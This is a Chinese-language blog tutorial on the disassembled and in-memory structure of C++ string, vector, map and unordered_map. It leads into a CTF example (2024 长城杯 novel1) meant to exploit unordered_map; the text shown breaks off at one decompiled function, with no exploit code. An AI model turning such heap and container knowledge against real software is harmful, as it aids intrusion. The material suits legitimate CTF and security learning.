Cpp 反汇编分析与漏洞利用
本文通过 IDA 反汇编代码与 GDB 调试深度分析了 Cpp 常见 STL 容器的底层结构,结合长城杯的一道例题重点利用了 unordered_map 容器的特性进行了漏洞攻击
STL 常见容器分析
string
源代码
#include <iostream>
#include <string>
using namespace std;
int main(){
// 1. 默认构造(空字符串)
string s1;
// 2. 用字符串字面量初始化
string s2 = "Hello";
string s3("12345678901234");
// 3. 用另一个 string 初始化(拷贝)
string s4 = s2;
// 4. 用 n 个相同字符初始化
string s5(0x20, 'a'); // "aaaaa"
// 5. 用子串初始化(从 index 开始,取 len 个字符)
string s6("Hello World", 5); // "Hello"
}反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Fh] [rbp-101h] BYREF
char *v5; // [rsp+10h] [rbp-100h]
char *v6; // [rsp+18h] [rbp-F8h]
char *v7; // [rsp+20h] [rbp-F0h]
char *v8; // [rsp+28h] [rbp-E8h]
_BYTE v9[32]; // [rsp+30h] [rbp-E0h] BYREF
_BYTE v10[32]; // [rsp+50h] [rbp-C0h] BYREF
_BYTE v11[32]; // [rsp+70h] [rbp-A0h] BYREF
_BYTE v12[32]; // [rsp+90h] [rbp-80h] BYREF
_BYTE v13[32]; // [rsp+B0h] [rbp-60h] BYREF
_BYTE v14[40]; // [rsp+D0h] [rbp-40h] BYREF
unsigned __int64 v15; // [rsp+F8h] [rbp-18h]
v15 = __readfsqword(0x28u);
std::string::basic_string(v9, argv, envp);
v5 = &v4;
std::string::basic_string<std::allocator<char>>(v10, "Hello", &v4);
std::__new_allocator<char>::~__new_allocator(&v4);
v6 = &v4;
std::string::basic_string<std::allocator<char>>(v11, "12345678901234", &v4);
std::__new_allocator<char>::~__new_allocator(&v4);
std::string::basic_string(v12, v10);
v7 = &v4;
std::string::basic_string<std::allocator<char>>(v13, 32, 97, &v4);
std::__new_allocator<char>::~__new_allocator(&v4);
v8 = &v4;
std::string::basic_string(v14, "Hello World", 5, &v4);
std::__new_allocator<char>::~__new_allocator(&v4);
std::string::~string(v14);
std::string::~string(v13);
std::string::~string(v12);
std::string::~string(v11);
std::string::~string(v10);
std::string::~string(v9);
return 0;
}可以看到 string 类结构体大小是 32 字节,通过 std::string::basic_string<std::allocator<char>> 函数创建,第一参数是对象本身。
gdb 查看一下内存情况
string 结构体大小为 0x20 ,其中第一个 8 字节是指向数据的指针,第二个 8 字节是数据长度,后面的 0x10 字节是为了避免频繁分配堆,用于小字符串的存储。
具体来说:当字符串长度小于 0x10 字节的时候,数据会直接写入这里,而不会分配堆来存储,比如这里的 0x7fffffffda60 位置。
vendor
源代码
#include <iostream>
#include <vector>
using namespace std;
int main(){
// 1. 默认构造(空 vector)
vector<int> v1;
// 2. 指定大小(默认初始化)
vector<int> v2(10); // 10 个 int,值为 0
vector<string> v3(5); // 5 个空 string
// 3. 指定大小和初值
vector<int> v4(10, 42); // 10 个 42
// 4. 拷贝/移动构造
vector<int> v5(v4);
vector<int> v6 = std::move(v4); // v4 变为空
// 5. 初始化列表(C++11)
vector<int> v7 = {1, 2, 3, 4, 5};
vector<int> v8{10, 20, 30}; // 同上
vector<string> ss = {"hell","123456789012345678901234","ddddd"};
// 6. 迭代器范围构造,将指定范围内的数据全部复制到新的 vcetor 中
vector<int> v9(v7.begin(), v7.end());
}反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rbx
__int64 v5; // rax
char v7; // [rsp+7h] [rbp-1C9h] BYREF
_DWORD *v8; // [rsp+8h] [rbp-1C8h]
_DWORD *v9; // [rsp+10h] [rbp-1C0h]
_BYTE *v10; // [rsp+18h] [rbp-1B8h]
_DWORD *v11; // [rsp+20h] [rbp-1B0h]
_DWORD *v12; // [rsp+28h] [rbp-1A8h]
_DWORD *v13; // [rsp+30h] [rbp-1A0h]
char *v14; // [rsp+38h] [rbp-198h]
_BYTE v15[32]; // [rsp+40h] [rbp-190h] BYREF
_BYTE v16[32]; // [rsp+60h] [rbp-170h] BYREF
_BYTE v17[32]; // [rsp+80h] [rbp-150h] BYREF
_BYTE v18[32]; // [rsp+A0h] [rbp-130h] BYREF
_BYTE v19[32]; // [rsp+C0h] [rbp-110h] BYREF
_BYTE v20[32]; // [rsp+E0h] [rbp-F0h] BYREF
_BYTE v21[32]; // [rsp+100h] [rbp-D0h] BYREF
_BYTE v22[32]; // [rsp+120h] [rbp-B0h] BYREF
_BYTE v23[32]; // [rsp+140h] [rbp-90h] BYREF
_DWORD v24[8]; // [rsp+160h] [rbp-70h] BYREF
__int64 p_hell; // [rsp+180h] [rbp-50h] BYREF
__int64 _123456789012345678901234; // [rsp+188h] [rbp-48h]
const char *ddddd; // [rsp+190h] [rbp-40h]
unsigned __int64 v28[7]; // [rsp+198h] [rbp-38h] BYREF
v28[0] = __readfsqword(0x28u);
std::vector<int>::vector((__int64)v15, argv, envp);
v8 = v24;
std::vector<int>::vector(v16, 10, v24);
std::__new_allocator<int>::~__new_allocator(v24);
v9 = v24;
std::vector<std::string>::vector(v17, 5, v24);
std::__new_allocator<std::string>::~__new_allocator(v24);
v10 = v23;
v24[0] = 42;
std::vector<int>::vector(v18, 10, v24, v23);
std::__new_allocator<int>::~__new_allocator(v23);
std::vector<int>::vector(v19, v18);
v3 = std::move<std::vector<int> &>(v18);
std::vector<int>::vector(v20, v3);
p_hell = 0x200000001LL;
_123456789012345678901234 = 0x400000003LL;
LODWORD(ddddd) = 5;
v11 = v24;
std::vector<int>::vector(v21, &p_hell, 5, v24);
std::__new_allocator<int>::~__new_allocator(v24);
p_hell = 0x140000000ALL;
LODWORD(_123456789012345678901234) = 30;
v12 = v24;
std::vector<int>::vector(v22, &p_hell, 3, v24);
std::__new_allocator<int>::~__new_allocator(v24);
p_hell = (__int64)"hell";
_123456789012345678901234 = (__int64)"123456789012345678901234";
ddddd = "ddddd";
v13 = v24;
std::vector<std::string>::vector<char const* const*,void>(v23, &p_hell, v28, v24);
std::__new_allocator<std::string>::~__new_allocator(v24);
v14 = &v7;
v4 = std::vector<int>::end(v21);
v5 = std::vector<int>::begin(v21);
std::vector<int>::vector<__gnu_cxx::__normal_iterator<int *,std::vector<int>>,void>(v24, v5, v4, &v7);
std::__new_allocator<int>::~__new_allocator(&v7);
std::vector<int>::~vector(v24);
std::vector<std::string>::~vector(v23);
std::vector<int>::~vector(v22);
std::vector<int>::~vector(v21);
std::vector<int>::~vector(v20);
std::vector<int>::~vector(v19);
std::vector<int>::~vector(v18);
std::vector<std::string>::~vector(v17);
std::vector<int>::~vector(v16);
std::vector<int>::~vector(v15);
return 0;
}gdb 查看内存情况
vector 类的底层结构体一般为 0x18 字节
第一个是指向已分配内存的起始位置(第一个元素)的指针
第二个是指向最后一个有效元素的下一个位置(size 的边界)的指针
最后一个是指向已分配内存的末尾(capacity 的边界)
我们可以细看一个,比如 0x7fffffffda70 处的 vector ,存储的是三个 string 类
这里连续存储着 string 类型的对象,就是一个 string 数组。
map
元素赋值
源代码
#include <iostream>
#include <map>
using namespace std;
int main(){
map<string,int> m;
m.insert({"aa",1});
m.emplace("bb",2);
m["cc"] = 3;
map<string,int> m2 = {{"dd",4},{"ee",5}};
map<string,int> m3(m.begin(),m.end());
map<string,int> m4 = m3;
}反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE *j; // rbx
__int64 v4; // rbx
__int64 v5; // rax
_WORD v7[5]; // [rsp+Eh] [rbp-162h] BYREF
char *v8; // [rsp+18h] [rbp-158h]
_QWORD v9[6]; // [rsp+20h] [rbp-150h] BYREF
_QWORD v10[6]; // [rsp+50h] [rbp-120h] BYREF
_QWORD v11[6]; // [rsp+80h] [rbp-F0h] BYREF
_QWORD v12[6]; // [rsp+B0h] [rbp-C0h] BYREF
_BYTE i[40]; // [rsp+E0h] [rbp-90h] BYREF
_BYTE i_1[40]; // [rsp+108h] [rbp-68h] BYREF
_QWORD j_1[8]; // [rsp+130h] [rbp-40h] BYREF
j_1[1] = __readfsqword(0x28u);
std::map<std::string,int>::map(v9, argv, envp);
LODWORD(v12[0]) = 1;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i, "aa", v12);
std::map<std::string,int>::insert(v9, i);
std::pair<std::string const,int>::~pair(i);
LODWORD(v12[0]) = 2;
std::map<std::string,int>::emplace<char const(&)[3],int>(v9, "bb", v12);
*(_QWORD *)&v7[1] = v12;
std::string::basic_string<std::allocator<char>>(i, "cc", v12);
*(_DWORD *)std::map<std::string,int>::operator[](v9, i) = 3;
std::string::~string(i);
std::__new_allocator<char>::~__new_allocator(v12);
LODWORD(v11[0]) = 4;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i, "dd", v11);
LODWORD(v12[0]) = 5;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i_1, "ee", v12);
v8 = (char *)v7 + 1;
std::map<std::string,int>::map(v10, i, 2, v7, (char *)v7 + 1);
std::__new_allocator<std::pair<std::string const,int>>::~__new_allocator((char *)v7 + 1);
for ( j = j_1; j != i; std::pair<std::string const,int>::~pair(j) )
j -= 40;
v4 = std::map<std::string,int>::end(v9);
v5 = std::map<std::string,int>::begin(v9);
std::map<std::string,int>::map<std::_Rb_tree_iterator<std::pair<std::string const,int>>>(v11, v5, v4);
std::map<std::string,int>::map(v12, v11);
std::map<std::string,int>::~map(v12);
std::map<std::string,int>::~map(v11);
std::map<std::string,int>::~map(v10);
std::map<std::string,int>::~map(v9);
return 0;
}分析
可以看到,反汇编中出现了一个我们源代码中没有出现的类 std::pair;在 C++ 中,std::pair 类用于存储键值对数据,其构造如下:
template <class T1, class T2>
struct pair {
T1 key;
T2 value;
};第一个字段用于存储键,第二个字段存储值。
从反汇编来看,insert 对 map 的赋值是先通过 std::pair 类构建键值对
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i, "aa", v12);再
std::map<std::string,int>::insert(v9, i);存入 map 容器中,而 emplace 则是原地构造
std::map<std::string,int>::emplace<char const(&)[3],int>(v9, "bb", v12);减少了创建 std::pair 的开销,通常性能更高。
operator[] 赋值则是返回一个引用对象,通过解引用来赋值
*(_DWORD *)std::map<std::string,int>::operator[](v9, i) = 3;直接赋值同理也是先创建 std::pair 对象
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i, "dd", v11);
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i_1, "ee", v12);再放入 map 容器,不同与 insert 的是其是通过数组连续放入
std::map<std::string,int>::map(v10, i, 2, v7, (char *)v7 + 1);这里第二个参数是 std::pair 数组,第三个参数是元素个数。
范围构造简单易懂
v4 = std::map<std::string,int>::end(v9);
v5 = std::map<std::string,int>::begin(v9);
std::map<std::string,int>::map<std::_Rb_tree_iterator<std::pair<std::string const,int>>>(v11, v5, v4);先获取起始迭代器和末尾迭代器,再构造。
map 的结构体是一个红黑树的结构,主要包括哨兵节点和元素数量,哨兵节点大致结构如下:
struct _Rb_tree_node_base {
_Rb_tree_color _M_color; // 枚举:红/黑(通常 4 字节,可能有填充)
_Base_ptr _M_parent; // 父节点指针
_Base_ptr _M_left; // 最左节点(begin())
_Base_ptr _M_right; // 最右节点
};我们 gdb 查看一下内存数据结构
这里 2、3、4 位置就对应这父指针节点、最左节点、最右节点。
获取元素
源代码
#include <iostream>
#include <map>
using namespace std;
int main(){
map<string,int> m;
m.insert({"aa",1});
m.emplace("bb",2);
m["cc"] = 3;
// find
auto it = m.find("aa");
if(it != m.end()){
cout << "aa: " << it->second << endl;
}
// [] 不安全访问,不存在会自动构建和插入默认值
cout << "bb: " << m["bb"] << endl;
cout << "dd: " << m["dd"] << endl;
//带边界检查的访问,如果不存在则抛出错误
cout << "cc: " << m.at("cc") << endl;
// 全量遍历
for (const auto& kv : m) {
cout << kv.first << ": " << kv.second << endl;
}
// 迭代器遍历
for (auto it = m.begin(); it != m.end(); ++it) {
cout << it->first << ": " << it->second << endl;
}
}反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rbx
unsigned int *v7; // rax
__int64 v8; // rax
__int64 v9; // rbx
unsigned int *v10; // rax
__int64 v11; // rax
__int64 v12; // rbx
unsigned int *v13; // rax
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
__int64 v19; // rax
__int64 v20; // rbx
__int64 v21; // rax
__int64 v22; // rax
__int64 p_i; // [rsp+0h] [rbp-C0h] BYREF
__int64 i; // [rsp+8h] [rbp-B8h] BYREF
__int64 v26; // [rsp+10h] [rbp-B0h] BYREF
_QWORD *v27; // [rsp+18h] [rbp-A8h]
__int64 v28; // [rsp+20h] [rbp-A0h]
__int64 *v29; // [rsp+28h] [rbp-98h]
__int64 *v30; // [rsp+30h] [rbp-90h]
__int64 *v31; // [rsp+38h] [rbp-88h]
__int64 *v32; // [rsp+40h] [rbp-80h]
__int64 *v33; // [rsp+48h] [rbp-78h]
_QWORD v34[6]; // [rsp+50h] [rbp-70h] BYREF
_QWORD v35[7]; // [rsp+80h] [rbp-40h] BYREF
v35[5] = __readfsqword(0x28u);
std::map<std::string,int>::map(v34, argv, envp);
LODWORD(v26) = 1;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(v35, "aa", &v26);
std::map<std::string,int>::insert(v34, v35);
std::pair<std::string const,int>::~pair(v35);
LODWORD(v26) = 2;
std::map<std::string,int>::emplace<char const(&)[3],int>(v34, "bb", &v26);
v29 = &v26;
std::string::basic_string<std::allocator<char>>(v35, "cc", &v26);
*(_DWORD *)std::map<std::string,int>::operator[](v34, v35) = 3;
std::string::~string(v35);
std::__new_allocator<char>::~__new_allocator(&v26);
v30 = &v26;
std::string::basic_string<std::allocator<char>>(v35, "aa", &v26);
p_i = std::map<std::string,int>::find(v34, v35);
std::string::~string(v35);
std::__new_allocator<char>::~__new_allocator(&v26);
v26 = std::map<std::string,int>::end(v34);
if ( (unsigned __int8)std::operator!=(&p_i, &v26) )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "aa: ");
v4 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator->(&p_i);
v5 = std::ostream::operator<<(v3, *(unsigned int *)(v4 + 32));
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "bb: ");
v31 = &v26;
std::string::basic_string<std::allocator<char>>(v35, "bb", &v26);
v7 = (unsigned int *)std::map<std::string,int>::operator[](v34, v35);
v8 = std::ostream::operator<<(v6, *v7);
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
std::string::~string(v35);
std::__new_allocator<char>::~__new_allocator(&v26);
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "dd: ");
v32 = &v26;
std::string::basic_string<std::allocator<char>>(v35, "dd", &v26);
v10 = (unsigned int *)std::map<std::string,int>::operator[](v34, v35);
v11 = std::ostream::operator<<(v9, *v10);
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
std::string::~string(v35);
std::__new_allocator<char>::~__new_allocator(&v26);
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "cc: ");
v33 = &v26;
std::string::basic_string<std::allocator<char>>(v35, "cc", &v26);
v13 = (unsigned int *)std::map<std::string,int>::at(v34, v35);
v14 = std::ostream::operator<<(v12, *v13);
std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
std::string::~string(v35);
std::__new_allocator<char>::~__new_allocator(&v26);
v27 = v34;
i = std::map<std::string,int>::begin(v34);
v26 = std::map<std::string,int>::end(v27);
while ( (unsigned __int8)std::operator!=(&i, &v26) )
{
v28 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator*(&i);
v15 = std::operator<<<char>(&std::cout, v28);
v16 = std::operator<<<std::char_traits<char>>(v15, ": ");
v17 = std::ostream::operator<<(v16, *(unsigned int *)(v28 + 32));
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator++(&i);
}
for ( i = std::map<std::string,int>::begin(v34);
;
std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator++(&i) )
{
v26 = std::map<std::string,int>::end(v34);
if ( !(unsigned __int8)std::operator!=(&i, &v26) )
break;
v18 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator->(&i);
v19 = std::operator<<<char>(&std::cout, v18);
v20 = std::operator<<<std::char_traits<char>>(v19, ": ");
v21 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator->(&i);
v22 = std::ostream::operator<<(v20, *(unsigned int *)(v21 + 32));
std::ostream::operator<<(v22, &std::endl<char,std::char_traits<char>>);
}
std::map<std::string,int>::~map(v34);
return 0;
}分析
find 方法获取元素比较简单,先构建键元素,再查找
std::string::basic_string<std::allocator<char>>(v35, "aa", &v26);
p_i = std::map<std::string,int>::find(v34, v35);值得一提的是 it->second 在反汇编中是这样出现的:
v5 = std::ostream::operator<<(v3, *(unsigned int *)(v4 + 32));这里是获取 v4 + 32 处的 int 值,对应的 v4 是个迭代器,该迭代器的结构类似于 std::pair
template <class T1, class T2>
struct iterator {
T1 first;
T2 second;
};这里 first 就是键,second 就是值,由于我们的键是 string 类型,占 32 字节,所以我们要获取值就要偏移 32 字节,也就是 v4 + 32
[] 操作符依旧是返回一个引用,我们解引用即可访问到元素。
v7 = (unsigned int *)std::map<std::string,int>::operator[](v34, v35);
v8 = std::ostream::operator<<(v6, *v7);全量遍历和迭代器遍历在底层都是一样的,都是通过起始迭代器和末尾迭代器来确定范围,然后循环输出
i = std::map<std::string,int>::begin(v34);
v26 = std::map<std::string,int>::end(v27);
while ( (unsigned __int8)std::operator!=(&i, &v26) )
{
v28 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator*(&i);
v15 = std::operator<<<char>(&std::cout, v28);
v16 = std::operator<<<std::char_traits<char>>(v15, ": ");
v17 = std::ostream::operator<<(v16, *(unsigned int *)(v28 + 32));
std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator++(&i);
}
for ( i = std::map<std::string,int>::begin(v34);
;
std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator++(&i) )
{
v26 = std::map<std::string,int>::end(v34);
if ( !(unsigned __int8)std::operator!=(&i, &v26) )
break;
v18 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator->(&i);
v19 = std::operator<<<char>(&std::cout, v18);
v20 = std::operator<<<std::char_traits<char>>(v19, ": ");
v21 = std::_Rb_tree_iterator<std::pair<std::string const,int>>::operator->(&i);
v22 = std::ostream::operator<<(v20, *(unsigned int *)(v21 + 32));
std::ostream::operator<<(v22, &std::endl<char,std::char_traits<char>>);
}unordered_map
无序容器,与 map 不同的是其底层使用哈希表来存储
元素赋值
源代码
#include <iostream>
#include <string>
#include <unordered_map>
#include <vector>
using namespace std;
int main(){
unordered_map<string, int> m;
m.insert({"aa",1});
m["bb"] = 2;
m.emplace("cc",3);
unordered_map<string, int> m2 = {{"dd",4},{"ee",5}};
unordered_map<std::string, int> m3(m.begin(),m.end());
}ida 伪代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE *i; // rbx
int v4; // ebx
int v5; // eax
_BYTE v7[7]; // [rsp+1h] [rbp-16Fh] BYREF
unsigned int *p_n4_4; // [rsp+8h] [rbp-168h]
_BYTE *p_n4_5; // [rsp+10h] [rbp-160h]
_BYTE *p_n4_1; // [rsp+18h] [rbp-158h]
unsigned int p_n4[16]; // [rsp+20h] [rbp-150h] BYREF
unsigned int p_n4_2[16]; // [rsp+60h] [rbp-110h] BYREF
unsigned int p_n4_3[16]; // [rsp+A0h] [rbp-D0h] BYREF
_BYTE i_2[40]; // [rsp+E0h] [rbp-90h] BYREF
_BYTE i_[40]; // [rsp+108h] [rbp-68h] BYREF
_QWORD i_1[8]; // [rsp+130h] [rbp-40h] BYREF
i_1[1] = __readfsqword(0x28u);
std::unordered_map<std::string,int>::unordered_map(p_n4, argv, envp);
p_n4_3[0] = 1;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i_2, "aa", (int *)p_n4_3);
std::unordered_map<std::string,int>::insert(p_n4, i_2);
std::pair<std::string const,int>::~pair(i_2);
p_n4_4 = p_n4_3;
std::string::basic_string<std::allocator<char>>(i_2, "bb", p_n4_3);
*(_DWORD *)std::unordered_map<std::string,int>::operator[](p_n4, i_2) = 2;
std::string::~string(i_2);
std::__new_allocator<char>::~__new_allocator(p_n4_3);
p_n4_3[0] = 3;
std::unordered_map<std::string,int>::emplace<char const(&)[3],int>(p_n4, "cc", p_n4_3);
*(_DWORD *)&v7[3] = 4;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i_2, "dd", (int *)&v7[3]);
p_n4_3[0] = 5;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i_, "ee", (int *)p_n4_3);
p_n4_5 = &v7[2];
std::unordered_map<std::string,int>::unordered_map(
(unsigned int)p_n4_2,
(unsigned int)i_2,
2,
0,
(unsigned int)v7,
(unsigned int)&v7[1],
&v7[2]);
std::__new_allocator<std::pair<std::string const,int>>::~__new_allocator((int *)&v7[2]);
for ( i = i_1; i != i_2; std::pair<std::string const,int>::~pair(i) )
i -= 40;
p_n4_1 = &v7[3];
v4 = std::unordered_map<std::string,int>::end(p_n4);
v5 = std::unordered_map<std::string,int>::begin(p_n4);
std::unordered_map<std::string,int>::unordered_map<std::__detail::_Node_iterator<std::pair<std::string const,int>,false,true>>(
(unsigned int)p_n4_3,
v5,
v4,
0,
(unsigned int)&v7[1],
(unsigned int)&v7[2],
(int *)&v7[3]);
std::__new_allocator<std::pair<std::string const,int>>::~__new_allocator((int *)&v7[3]);
std::unordered_map<std::string,int>::~unordered_map(p_n4_3);
std::unordered_map<std::string,int>::~unordered_map(p_n4_2);
std::unordered_map<std::string,int>::~unordered_map(p_n4);
return 0;
}可以看到元素的赋值和 map 差不多,都是通过 std::pair 存储键值对,然后放入 unordered_map 容器中。
直接赋值也和 map 一样,通过 std::piar 数组和元素个数赋值。
获取元素
源代码
#include <iostream>
#include <string>
#include <unordered_map>
#include <vector>
using namespace std;
int main(){
unordered_map<string, int> m;
m.insert({"aa",1});
m["bb"] = 2;
m.emplace("cc",3);
unordered_map<string, int> m2 = {{"dd",4},{"ee",5}};
unordered_map<std::string, int> m3(m.begin(),m.end());
size_t index = m.bucket("aa");
// 遍历哈希桶中所有元素
for (size_t i = 0; i < m.bucket_count(); ++i) {
cout << "Bucket " << i << ": " << endl;
for (auto it = m.begin(i); it != m.end(i); ++it) {
cout << it->first << ": " << it->second << endl;
}
cout << endl;
}
}
反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE *j; // rbx
int v4; // ebx
int v5; // eax
__int64 v6; // rax
void *p__ZSt4cout@GLIBCXX_3.4; // rax
void *p__ZSt4cout@GLIBCXX_3.4_1; // rax
__int64 v9; // rax
void *p__ZSt4cout@GLIBCXX_3.4_2; // rax
__int64 v11; // rbx
__int64 v12; // rax
void *p__ZSt4cout@GLIBCXX_3.4_3; // rax
unsigned __int64 v14; // rax
_WORD v16[5]; // [rsp+Eh] [rbp-1C2h] BYREF
__int64 v17; // [rsp+18h] [rbp-1B8h]
_QWORD *v18; // [rsp+20h] [rbp-1B0h]
__int64 *v19; // [rsp+28h] [rbp-1A8h]
_QWORD *v20; // [rsp+30h] [rbp-1A0h]
_QWORD *v21; // [rsp+38h] [rbp-198h]
__int64 v22[4]; // [rsp+40h] [rbp-190h] BYREF
_QWORD v23[4]; // [rsp+60h] [rbp-170h] BYREF
_QWORD v24[8]; // [rsp+80h] [rbp-150h] BYREF
unsigned int v25[16]; // [rsp+C0h] [rbp-110h] BYREF
_QWORD v26[8]; // [rsp+100h] [rbp-D0h] BYREF
_BYTE i[40]; // [rsp+140h] [rbp-90h] BYREF
_BYTE i_1[40]; // [rsp+168h] [rbp-68h] BYREF
_QWORD j_1[8]; // [rsp+190h] [rbp-40h] BYREF
j_1[1] = __readfsqword(0x28u);
std::unordered_map<std::string,int>::unordered_map(v24, argv, envp);
LODWORD(v26[0]) = 1;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i, "aa", v26);
std::unordered_map<std::string,int>::insert(v24, i);
std::pair<std::string const,int>::~pair(i);
v18 = v26;
std::string::basic_string<std::allocator<char>>(i, "bb", v26);
*(_DWORD *)std::unordered_map<std::string,int>::operator[](v24, i) = 2;
std::string::~string(i);
std::__new_allocator<char>::~__new_allocator(v26);
LODWORD(v26[0]) = 3;
std::unordered_map<std::string,int>::emplace<char const(&)[3],int>(v24, "cc", v26);
LODWORD(v23[0]) = 4;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i, "dd", v23);
LODWORD(v26[0]) = 5;
std::pair<std::string const,int>::pair<char const(&)[3],int,true>(i_1, "ee", v26);
v19 = v22;
std::unordered_map<std::string,int>::unordered_map(
(unsigned int)v25,
(unsigned int)i,
2,
0,
(unsigned int)v16,
(unsigned int)v16 + 1,
(__int64)v22);
std::__new_allocator<std::pair<std::string const,int>>::~__new_allocator(v22);
for ( j = j_1; j != i; std::pair<std::string const,int>::~pair(j) )
j -= 40;
v20 = v23;
v4 = std::unordered_map<std::string,int>::end(v24);
v5 = std::unordered_map<std::string,int>::begin(v24);
std::unordered_map<std::string,int>::unordered_map<std::__detail::_Node_iterator<std::pair<std::string const,int>,false,true>>(
(unsigned int)v26,
v5,
v4,
0,
(unsigned int)v16 + 1,
(unsigned int)v22,
(__int64)v23);
std::__new_allocator<std::pair<std::string const,int>>::~__new_allocator(v23);
v21 = v23;
std::string::basic_string<std::allocator<char>>(i, "aa", v23);
v17 = std::unordered_map<std::string,int>::bucket(v24, i);
std::string::~string(i);
std::__new_allocator<char>::~__new_allocator(v23);
for ( *(_QWORD *)&v16[1] = 0; ; ++*(_QWORD *)&v16[1] )
{
v14 = std::unordered_map<std::string,int>::bucket_count(v24);
if ( *(_QWORD *)&v16[1] >= v14 )
break;
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Bucket ");
p__ZSt4cout@GLIBCXX_3.4 = (void *)std::ostream::operator<<(v6, *(unsigned __int64 *)&v16[1]);
p__ZSt4cout@GLIBCXX_3.4_1 = (void *)std::operator<<<std::char_traits<char>>(p__ZSt4cout@GLIBCXX_3.4, ": ");
std::ostream::operator<<(p__ZSt4cout@GLIBCXX_3.4_1, &std::endl<char,std::char_traits<char>>);
std::unordered_map<std::string,int>::begin(v22, v24, *(unsigned __int64 *)&v16[1]);
while ( 1 )
{
std::unordered_map<std::string,int>::end(v23, v24, *(unsigned __int64 *)&v16[1]);
if ( !(unsigned __int8)std::__detail::operator!=(v22, v23) )
break;
v9 = std::__detail::_Local_iterator<std::string,std::pair<std::string const,int>,std::__detail::_Select1st,std::hash<std::string>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,true>::operator->(v22);
p__ZSt4cout@GLIBCXX_3.4_2 = (void *)std::operator<<<char>(&std::cout, v9);
v11 = std::operator<<<std::char_traits<char>>(p__ZSt4cout@GLIBCXX_3.4_2, ": ");
v12 = std::__detail::_Local_iterator<std::string,std::pair<std::string const,int>,std::__detail::_Select1st,std::hash<std::string>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,true>::operator->(v22);
p__ZSt4cout@GLIBCXX_3.4_3 = (void *)std::ostream::operator<<(v11, *(unsigned int *)(v12 + 32));
std::ostream::operator<<(p__ZSt4cout@GLIBCXX_3.4_3, &std::endl<char,std::char_traits<char>>);
std::__detail::_Local_iterator<std::string,std::pair<std::string const,int>,std::__detail::_Select1st,std::hash<std::string>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,true>::operator++(v22);
}
std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}
std::unordered_map<std::string,int>::~unordered_map(v26);
std::unordered_map<std::string,int>::~unordered_map(v25);
std::unordered_map<std::string,int>::~unordered_map(v24);
return 0;
}分析
元素获取几乎和 map 没有区别,我们不再重复;unordered_map 可以获取存储对象的哈希桶,这一块伪代码和源代码相差不大,我们着重看内存数据结构
gdb 查看 m 的数据结构
这里第一个字段是总数组,存储着所有哈希桶,哈希桶的数量只有 13 个
这里可以看到只有第 3、6、12 个哈希桶里面有数据,我们运行一下程序,确实如此:
第二个字段是一个模数,用于对键取模来确定哈希桶的索引,哈希桶存储数据是一个链表,结构类似 glibc 的 fastbin,都是先进后出;如果一个哈希桶里面的元素数量超过了模数,则会触发扩容,模数会扩大到 29,哈希桶里的元素将重新计算哈希分配到各个桶中。一般为了防止频繁扩容增大开销,一般会先预分配一定数量的桶
m.reserve(1000)第三个字段也是一个链表,存储着我们放入的数据。
例题
2024 长城杯 novel1
漏洞分析
题目实现了两个功能
part1
_QWORD *__fastcall part1()
{
__int64 v0; // rbx
_QWORD *result; // rax
__int64 v2; // [rsp+0h] [rbp-90h] BYREF
_BYTE v3[4]; // [rsp+Ch] [rbp-84h] BYREF
_BYTE v4[47]; // [rsp+10h] [rbp-80h] BYREF
char v5; // [rsp+3Fh] [rbp-51h] BYREF
__int64 v6; // [rsp+40h] [rbp-50h] BYREF
__int64 v7; // [rsp+48h] [rbp-48h] BYREF
_BYTE v8[47]; // [rsp+50h] [rbp-40h] BYREF
_BYTE v9[9]; // [rsp+7Fh] [rbp-11h] BYREF
if ( (unsigned __int64)std::unordered_map<unsigned int,unsigned long>::size(&bloodstains) > 0x1F )
{
std::allocator<char>::allocator(&v5);
std::string::basic_string<std::allocator<char>>(v4, "All the bloodstains have been collected.", &v5);
fragment(v4);
}
std::operator<<<std::char_traits<char>>(&std::cout, "Blood: ");
